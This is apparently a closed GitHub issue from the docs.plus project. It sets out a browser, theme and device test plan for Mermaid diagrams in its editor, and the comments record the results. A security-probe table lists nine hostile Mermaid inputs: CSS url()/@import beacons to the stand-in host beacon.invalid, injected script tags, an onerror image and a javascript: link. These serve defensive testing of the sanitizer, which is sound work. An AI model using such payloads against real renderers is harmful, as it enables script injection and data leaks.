Skip to content

Run the Mermaid browser pass and security probes #529

Closed

Description

@HMarzban

Part of #521. Depends on #528. Read the tracker first: its §Shared contract binds this issue. Work on main.

Summary

Prove the feature in real browsers, in all seven themes and on both phone engines. Then run nine hostile inputs against the webapp and the bare package. A code change happens only to fix a failed row.

Rulings: 2, 4, 10, 14 (#521 §Maintainer rulings).

Files and interfaces

Files (gitignored, under REPO/Notes/local-docs/)

  • Create: <run date>-mermaid-ship-check.md with the sections ## Measure and release gates, ## Browser matrix, ## Security probes, ## Type sweep, ## Quality pass, ## Doc audit, ## check:ci verdict and ## Owed to the maintainer. Each row is check | PASS/FAIL | evidence.
  • Create: mermaid-ship-check/browser.ts (the Playwright row runner), mermaid-ship-check/mermaid-qa.html (the pad fixture), mermaid-ship-check/types.json (one source per diagram type), and its screenshots.

Implementation steps

  • Step 1: Start clean.

    • bun run build in PKG. Remove REPO/apps/webapp/.next/cache. Run make dev-local in the background. Store the webapp port from its Local: http://localhost:<port> line as APP_URL. curl -s -o /dev/null -w '%{http_code}' "$APP_URL/" prints 200.
    • In the test tab, unregister every service worker (navigator.serviceWorker.getRegistrations()), then hard-refresh.
    • Note: dev uses Turbopack's chunk loader. The production webpack loader is checked by offline-prod (Step 5).
  • Step 2: Fill ## Measure and release gates by citing four results. They are the D10 verdict and the starter row p95 (the Measure Pele render time on a phone and set the default diagram limits #522 comment), the CJS verdict and the pack list (Register extension-mermaid as the sixth family package #527), and the D6 proof (Draw Mermaid diagrams in the pad, history and /editor #528). Run the Mermaid quality pass and ship gates #530 adds the make build-prod-ci row.

  • Step 3: Write and load the fixture. mermaid-qa.html holds an <h1>, 40 filler paragraphs of about 60 words each (so no diagram is near the first screen), then one <h2> per block, each followed by <pre><code class="language-…">: Flowchart (nested subgraphs), Pie (8 slices), Gantt (fixed dates, one crit task), Sequence, Broken (flowchart TD / A --), Accessible (accTitle and accDescr), Wide (flowchart LR with six nodes), and Plain (language-js).

    • Open $APP_URL/mermaid-qa. Check that .ProseMirror[contenteditable="true"] exists while signed out. If not, every typing row runs signed in: browser.ts uses applyActorSession, and Chrome uses the maintainer's existing session.
    • Load the fixture with Meta+a and a synthetic ClipboardEvent('paste') carrying it as text/html. Expect 7 .mermaid-diagram and 1 plain pre. Read the editor as document.querySelector('.ProseMirror').editor.
  • Step 4: Run the desktop matrix in Claude in Chrome at 1280×800, theme docsplus. Before judging a row, check document.visibilityState === 'visible'.

    Check Pass criterion
    Ready Scroll each block into view. Each valid block reaches ready with one svg.pele; Broken reaches error; Plain has no wrapper.
    Name Flowchart's SVG has aria-label="flowchart diagram". Accessible keeps aria-labelledby, aria-describedby, <title> and <desc>, and has no aria-label.
    Sanitize keeps attrs The root svg.pele keeps role, aria-roledescription, class and style (D8).
    No live regions .ProseMirror holds no [aria-live], [role=status], [role=alert] or output.
    Undo after load Reload, scroll each block into view, wait until all 7 are ready or error, and save the JSON. Mod-z leaves the JSON unchanged (no dispatch).
    Empty Deleting a block's text gives empty, an empty diagram host, and the hint "Write a Mermaid diagram" inside the pre box (screenshot).
    Slash /diagram and /mermaid each list one "Diagram" item. Enter inserts the starter, and a typed x lands at the end of the source. Inside Plain, typing / opens no menu (the slash menu never opens in code).
    Code select state In Flowchart, only "Diagram" is checked and the trigger shows the diagram icon. In Plain, only "Code block" is checked.
    Code select actions "Code block" on Flowchart gives a code block with language: null and the same text; undo restores the diagram. "Diagram" in Plain changes nothing.
    Fold Folding Flowchart hides its frame. Unfolding shows ready, with no error line.
    TOC rail clone With the rail committed (sash below 240px), hover the Flowchart tick. The clone holds no .pele-zoom and no error line; svg.pele has tabindex="-1"; no id remains under .mermaid-diagram; the arrowheads draw.
    /editor A pasted mermaid fence reaches ready (D2).
    Chat A mermaid fence in a chat message stays a plain code block.
    Pop-in Scroll to a diagram far down the pad. Record whether it pops in or the content shifts. Record only; this row does not gate.
    Full-doc copy and paste Meta+a. Dispatch a ClipboardEvent('copy') with a fresh DataTransfer, then a ClipboardEvent('paste') with that same DataTransfer (AGENTS.md:112 asks for a full-document paste check). Still 7 diagrams; no .ProseMirror p holds a default-view string; text/html holds no <svg.
    Source fold At rest only the mermaid label shows. Hover swaps it in place for Syntax, Copy and Hide source. Copy puts the source on the clipboard and shows a check for 2.2 s. Hide source folds it smoothly; reload keeps it folded. ArrowDown into the folded block opens it. Syntax opens the Mermaid guide in a new tab. On #history and for a signed-out visitor of a read-only pad, blocks start folded. With reduced motion on, nothing animates.
    Exit and entry keys ArrowDown at the end and Mod-Enter leave the block. ArrowUp from the paragraph below lands in the last source line, and a typed x changes the source.
    Themes Switch with data-theme on <html> through docsplus, docsplus-dark, docsplus-dark-hc, docsplus-graphite, docsplus-graphite-dark, docsplus-paper and docsplus-paper-dark. For each, screenshot Flowchart, Pie and Broken. The frame border shows, the SVG ink reads on its background, the error line reads, and Pie keeps Pele's default colours (D4).
  • Step 5: Write and run browser.ts.

    • Imports: chromium, webkit and devices from REPO/packages/document-swarm/node_modules/playwright/index.mjs; applyActorSession from REPO/packages/document-swarm/src/actors/sessionInject.ts; readActorsFile from REPO/packages/document-swarm/src/actors/loadActors.ts, called with REPO/packages/document-swarm/actors.json. A null result means "provision first": run bun run --filter @docs.plus/document-swarm provision --count 20 once.
    • It reads APP_URL (exit 1 when unset), runs each named row (all rows when none), gives each row a fresh context, and prints ROW <name> PASS|FAIL <detail>. Timing rows measure inside the page. A pageerror event fails the row, and the row detail prints its message, so an app error can be told apart from a diagram failure. Any row that renders a Gantt calls page.clock.setFixedTime(Date.UTC(2026, 9, 1)) before loading.
    • Run: cd REPO && APP_URL=<APP_URL> bun --env-file=.env.local Notes/local-docs/mermaid-ship-check/browser.ts.
    Row Setup Pass criterion
    type-race chromium, desktop, cold context First record the class-diagram chunk URL in a throwaway context. Hold that request with page.route (do not continue it yet). Replace Flowchart's text with `classDiagram\n A <
    mobile run twice: webkit with devices['iPhone 13'], chromium with devices['Pixel 7'] html.m_mobile exists; (pointer: coarse) matches; no .pele-zoom; the page scrolls over a diagram; Wide's viewBox is taller than wide (D9); /diagram, Enter and x give a ready block with x at the end. Screenshots under docsplus and docsplus-dark pass the Themes rule.
    offline chromium, cold context First, in a separate throwaway context, load once online and record the Pele chunk URL pattern. Load at the top: no request matches the pattern yet, no .mermaid-diagram intersects the viewport, and 7 loading views. Go offline and scroll to Flowchart: "Could not load the diagram renderer." and "Try again"; one framenavigated only; one [observability] mermaid:load-error console line (requires an empty NEXT_PUBLIC_GLITCHTIP_DSN). Dev runs Turbopack, which caches a failed chunk for the life of the page, so Try again recovery is not checked here: offline-prod checks it.
    print Scroll Flowchart and Broken into view and wait for ready and error first. Then emulateMedia({ media: 'print' }) Flowchart shows its diagram unclipped, with the pre hidden. Broken shows its pre, with the view hidden. Every .pele-zoom is hidden.
    collab two chromium contexts, A and B Simultaneous typing in Flowchart keeps both texts in both tabs. When B stops on a broken edit, A shows no error at +900 ms and shows it by +1500 ms, wherever A's caret is (A1).
    history-restore signed in Setup: type the Broken source into a block, wait 15 s idle, and confirm that #history lists a new version. Then #history shows ready diagrams (D2), and restoring that version leaves the pad editable within 2 s.
    history-visitor signed out #history renders the diagrams, and no Restore control exists (restore is signed-in only).
    types chromium, $APP_URL/mermaid-types Each of the 33 types from pele/dist/detect.d.ts (pele.run examples, or the Mermaid docs where pele.run has none) reaches ready, or error with its message printed. Save one full-page screenshot.
    • Production loader rows (offline-prod). Dev uses Turbopack; production uses webpack, which retries a failed chunk. Stop make dev-local, and start make dev-backend in the background, so REST and the collaboration socket stay up for the pad.
      • Build with the Draw Mermaid diagrams in the pad, history and /editor #528 build:ci command. Then, from REPO/apps/webapp, run cp -r .next/static .next/standalone/apps/webapp/.next/static && cp -r public .next/standalone/apps/webapp/public, and start PORT=3100 bun run start in the background.
      • From REPO: APP_URL=http://localhost:3100 bun --env-file=.env.local Notes/local-docs/mermaid-ship-check/browser.ts offline-prod. browser.ts creates this row's context with serviceWorkers: 'block', so the service worker cannot serve chunks. The row opens $APP_URL/mermaid-qa.
      • offline-prod passes when: offline shows "Could not load the diagram renderer."; going online and clicking Try again reaches ready. Then, with Flowchart drawn, go offline and change it to classDiagram\n A <|-- B (a type absent from the fixture): load-error and one framenavigated only; online and Try again draws the class diagram.
      • Under Add the extension-mermaid playground and clean-room Cypress suite #525 Result B or C, prove S5 here (and S4 under Result C) with the sabotage form across calls: back up the file, apply the change, rebuild PKG, repeat the build, copy and start lines, and run offline-prod. S5 must fail at Try again. S4 must fail the row, by a page reload or a page error. Restore the file, check cmp, then rebuild both.
      • Afterwards stop the 3100 server and make dev-backend, and run rm -rf REPO/apps/webapp/.next and rm -f REPO/apps/webapp/public/sw.js REPO/apps/webapp/public/workbox-*.js REPO/apps/webapp/public/worker-*.js. Then rerun Step 1.
    • Harness limits, recorded as limits and added to Owed: WebKit not installed (skip the iOS run; install nothing); a mobile row where (pointer: coarse) does not match.
  • Step 6: Run the security probes as two more browser.ts rows: probes on $APP_URL/mermaid-qa (with sanitizeDiagramSvg), and probes-playground on http://127.0.0.1:5178 (package default sanitize: null; start the playground first and stop it after). Each row sets every source as a mermaid fence and logs any request to beacon.invalid.

    Probe Source
    H1 classDef url flowchart LR\n A --> B\n classDef evil fill:url(https://beacon.invalid/h1),stroke:#f00\n class A evil
    H2 style url and filter flowchart LR\n A --> B\n style A fill:url(https://beacon.invalid/h2),filter:url(https://beacon.invalid/h2f)
    H3 @import flowchart LR\n A --> B\n classDef evil fill:#fff;@import url(https://beacon.invalid/h3)\n class A evil
    H4 init fontFamily %%{init: {"fontFamily": "x;}</style><script>window.__pwned=4</script><style>"}}%%\nflowchart LR\n A --> B
    H5 init themeCSS %%{init: {"themeCSS": "@import url(https://beacon.invalid/h5); .node{fill:url(https://beacon.invalid/h5b)}"}}%%\nflowchart LR\n A --> B
    H6 frontmatter config ---\nconfig:\n themeCSS: "@import url(https://beacon.invalid/h6);"\n fontFamily: "x</style><script>window.__pwned=6</script>"\n---\nflowchart LR\n A --> B
    H7 script text in labels flowchart LR\n A["<script>window.__pwned=7</script>"] --> B["<img src=x onerror=window.__pwned=7>"]
    H8 script text in a message sequenceDiagram\n A->>B: <script>window.__pwned=8</script>
    H9 link flowchart LR\n A --> B\n click A "javascript:window.__pwned=9"
    • Check through the DOM, never by regex on serialized markup.
    • Pass needs: 0 requests to beacon.invalid; window.__pwned === undefined 500 ms after the last probe; no .ProseMirror script and no [onerror]; no a[href^="javascript:"] in a diagram host; no style attribute or <style> text in a diagram host matching /url\(\s*['"]?(?!#)/ or /@import/i; the editor and the toolbar still visible.
    • Record H6's effect beside the docs/security.md frontmatter claim.
    • Any probes FAIL blocks the ship: record it and stop. The fix (stripping url() in sanitizeDiagramSvg) waits for the maintainer.
    • A probes-playground FAIL that docs/security.md already names as a default risk is not a blocker. Otherwise it is a doc defect for Run the Mermaid quality pass and ship gates #530.
  • Step 7: Fix failed rows. Fix each FAIL in the file that owns the behaviour, with the smallest change. Then rebuild (Step 1), rerun that row plus type-race, and run bun run test in PKG. A fix that needs a new option, token or a change to [Tracking] Mermaid diagrams in docs.plus through a headless Pele extension #521 §Design is a design change: record it and stop.

  • Step 8: Review checkpoint. Report the matrix, the browser.ts rows, both probe rows and the type sweep.


Decisions

Acceptance criteria

  • Every Step 4 row and every browser.ts row passes, or is a recorded harness limit.
  • probes has no FAIL. Any probes FAIL blocks the ship.

Activity

  1. HMarzban commented on Oct 19, 2026

    @HMarzban
    CollaboratorAuthor

    Maintainer ruling, 2026-10-19

    R5 is confirmed: keep the aria-label fallback. A human VoiceOver and NVDA check is still owed.

  2. HMarzban commented on Oct 19, 2026

    @HMarzban
    CollaboratorAuthor

    Browser matrix on the final code, progress 2026-10-19

    The ship-check harness ran all 29 rows, with the main log exiting 0. The webapp served the current build.

    • Pass: every desktop row, plus d-themes (lowest contrast 4.53), type-race, offline, print, all 33 types, the app and playground probes (no beacons, no script, no javascript: link), the Pixel 7 row, history-restore, history-visitor, fold-initial, and offline-prod on a production build (load-error, then Try again, then ready, with no reload).
    • Known, not new: collab fails at random. That is Keep a collaborator's caret in place when a remote edit lands in the same code block #532, which existed before this work; it failed 1 of 4 runs tonight.
    • Harness limit: the iPhone 13 page scroll. Playwright WebKit has no wheel or swipe.
    • Still owed: the S4 and S5 sabotage, which needs a src/ edit; the Step 4 desktop matrix in a visible Chrome tab; real phones; VoiceOver and NVDA.

    The harness core.ts now picks the newest installed Playwright Chromium, because the hard-coded build 1243 is gone.

  3. HMarzban commented on Oct 21, 2026

    @HMarzban
    CollaboratorAuthor

    Step 4 desktop matrix in a visible Chrome tab, 2026-10-21

    The matrix ran in Claude in Chrome, the maintainer's real Chrome, signed in, against make dev-local on http://localhost:3000. Pad mqa-chrome-1021 held the Step 3 fixture (7 diagrams and 1 plain block). The code was main at 3784c2c65, with Pele 1.7.0. document.visibilityState was visible for every row.

    Deviation: the viewport was 1440×857, not 1280×800. The window did not resize, because it is maximized. Theme docsplus unless the row says otherwise.

    Check Result
    Ready Pass. 6 ready with one svg.pele each, Broken error, Plain not wrapped.
    Name Pass. Flowchart aria-label="flowchart diagram". Accessible keeps aria-labelledby, aria-describedby, <title> and <desc>, with no aria-label.
    Sanitize keeps attrs Pass. All 6 root SVGs keep role, aria-roledescription, class and style.
    No live regions Pass. 0.
    Undo after load Pass. After a reload and all 7 settled, a real Mod-z left the JSON unchanged.
    Empty Pass. empty, an empty host, and "Write a Mermaid diagram" inside the pre box.
    Slash Pass. /diagram and /mermaid each list one "Diagram". Enter, then x: ready, caret and x at the end. / inside Plain opens no menu.
    Code select state Pass. Flowchart: only "Diagram" checked, with the diagram icon. Plain: only "Code block" checked.
    Code select actions Pass. "Code block" on Flowchart gives language: null with the same text, and undo restores the diagram. "Diagram" in Plain changes nothing.
    Fold Pass. Collapsing the section hides Flowchart's frame. Expanding shows ready with no error line.
    TOC rail clone Pass. Sash dragged to the rail, then a hover on the Flowchart tick. The clone has no .pele-zoom and no error line, svg.pele has tabindex="-1", 0 id under .mermaid-diagram, and the arrowheads draw.
    /editor Pass. A pasted mermaid fence in a new paragraph reaches ready. (A paste into a heading becomes plain text, because a heading holds inline content only.)
    Chat Pass. A sent mermaid fence stays a plain pre, with no diagram. The composer has no mermaid extension.
    Pop-in Recorded. Wide keeps its 246 px while it loads. Layout shift 0.
    Full-doc copy and paste Pass. Still 7 diagrams, no p holding a default-view string, and no <svg in text/html.
    Source fold Pass, apart from one item. The label shows at rest, and hover swaps it in place for Syntax, Copy and Hide source. Copy puts the exact source on the clipboard and shows "Copied" for 2212 ms. Hide source folds over eased frames (213 → 0 px). A reload keeps it folded. ArrowDown into the folded block opens it. Syntax opens https://mermaid.js.org/intro/syntax-reference.html in a new tab. On #history all 7 start folded, and all draw when scrolled into view. Reduced motion: read from the CSS, not toggled. (prefers-reduced-motion: reduce) sets transition: none and animation: none on .mermaid-diagram *. Not run: a signed-out visitor of a read-only pad, because signing out of the maintainer's Chrome is not allowed.
    Exit and entry keys Pass. ArrowDown at the end leaves to the next heading. Mod-Enter leaves to a new paragraph. ArrowUp from below lands in the last source line, and x changes the source.
    Themes Pass in all 7. Each frame has a 1px border. Flowchart's text ink is 15.1 to 17.9:1. The error line is 4.53:1 at the lowest (docsplus-graphite), the same as the headless run. Pie keeps Pele's default fills in every theme. Checked by eye: Pie in docsplus-dark, Broken in docsplus-graphite.

    Still owed on #529: real iPhone and Android, VoiceOver and NVDA, the S4 and S5 sabotage, and the signed-out read-only start-folded item above.

  4. HMarzban commented on Oct 21, 2026

    @HMarzban
    CollaboratorAuthor

    Real iPhone and VoiceOver pass, 2026-10-21

    The maintainer checked the production pad https://docs.plus/mermaid-device-check-2026-10-21 on a real iPhone, in Safari. The pad holds Flowchart, Pie, Gantt, Sequence, Accessible and Wide diagrams plus a plain js block. All of them were checked in a desktop browser first, and they drew 6 of 6.

    All pass:

    • One-finger scroll that starts on top of a diagram keeps moving the page. This was the Playwright WebKit harness limit, so it is now closed.
    • All 6 diagrams draw, with no zoom control on touch.
    • In landscape, Wide fits the width.
    • The mermaid label shows Syntax, Copy and Hide source, and Copy shows its check.
    • A hand-typed broken block (flowchart TD / A --) shows the error message, not a diagram.
    • VoiceOver: each diagram is read once with its type, and Accessible reads its title and description. So the R5 aria-label fallback does not cause a double read.

    Still owed on #529: the same list on a real Android phone, NVDA, the S4 and S5 sabotage, and the signed-out read-only start-folded item.

  5. HMarzban commented on Oct 21, 2026

    @HMarzban
    CollaboratorAuthor

    Real Android passes; NVDA not run, 2026-10-21

    • Android (Chrome): the maintainer ran the same list on https://docs.plus/mermaid-device-check-2026-10-21, and all of it passes. That covers one-finger scroll starting on a diagram, all 6 drawing with no zoom on touch, Wide in landscape, the head actions, and the hand-typed broken block.
    • NVDA: not run. No Windows machine is available. VoiceOver passed on the same pad (comment above): each diagram is read once with its type. So the R5 aria-label fallback stays as ruled. NVDA stays a known gap, not a FAIL.

    Still owed on #529: the S4 and S5 sabotage and the signed-out read-only start-folded item. The agent runs both.

  6. HMarzban commented on Oct 21, 2026

    @HMarzban
    CollaboratorAuthor

    S4, S5 and the signed-out read-only item, 2026-10-21

    Run on a production build (build:ci, standalone on :3100) with make dev-backend, Pele 1.8.0, using browser.ts offline-prod fold-initial.

    Run offline-prod Notes
    Baseline PASS (14 s) Offline shows "Could not load the diagram renderer."; online + Try again reaches ready; the class-diagram leg passes; 0 navigations, 0 page errors
    S5: keep the rejected import('pele/lazy') cached (drop peleImport = null) FAIL as required Fails exactly at both "online + Try again" checks, which stay load-error. Every other check passes.
    S4: prepare rethrows the import failure FAIL as required The block stays loading with no Try again, and the harness click times out after 30 s. The issue expected a page error or a reload; the row fails either way.
    Restored, rebuilt PASS (14 s) createRenderer.ts restored from backup, cmp identical, and equal to HEAD

    Signed-out read-only item: PASS. fold-initial sets the pad read-only in the local database. A signed-out visitor is then not editable, and all 7 blocks start folded and still draw (6 ready, Broken error). An open pad starts open for an editable visitor. This replaces the manual Chrome check, which needed the maintainer to sign out.

    With the device rows above (iPhone, Android, VoiceOver; NVDA recorded as a gap), every item this issue owed is done.

  7. HMarzban commented on Oct 21, 2026

    @HMarzban
    CollaboratorAuthor

    Closing, 2026-10-21. Every row passed or is a recorded harness limit, and the probes have no FAIL. Real iPhone, real Android and VoiceOver pass; NVDA is a recorded gap (no Windows machine). S4, S5 and the signed-out read-only item pass on a production build. Deployed to production with Pele 1.8.0 (db3c0bf94).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    DesktopEditorTiptap & ProsemirrorMobileSecuritySecurity, access control, and data exposureUI

    Type

    No type

    Projects

    No projects

      Milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions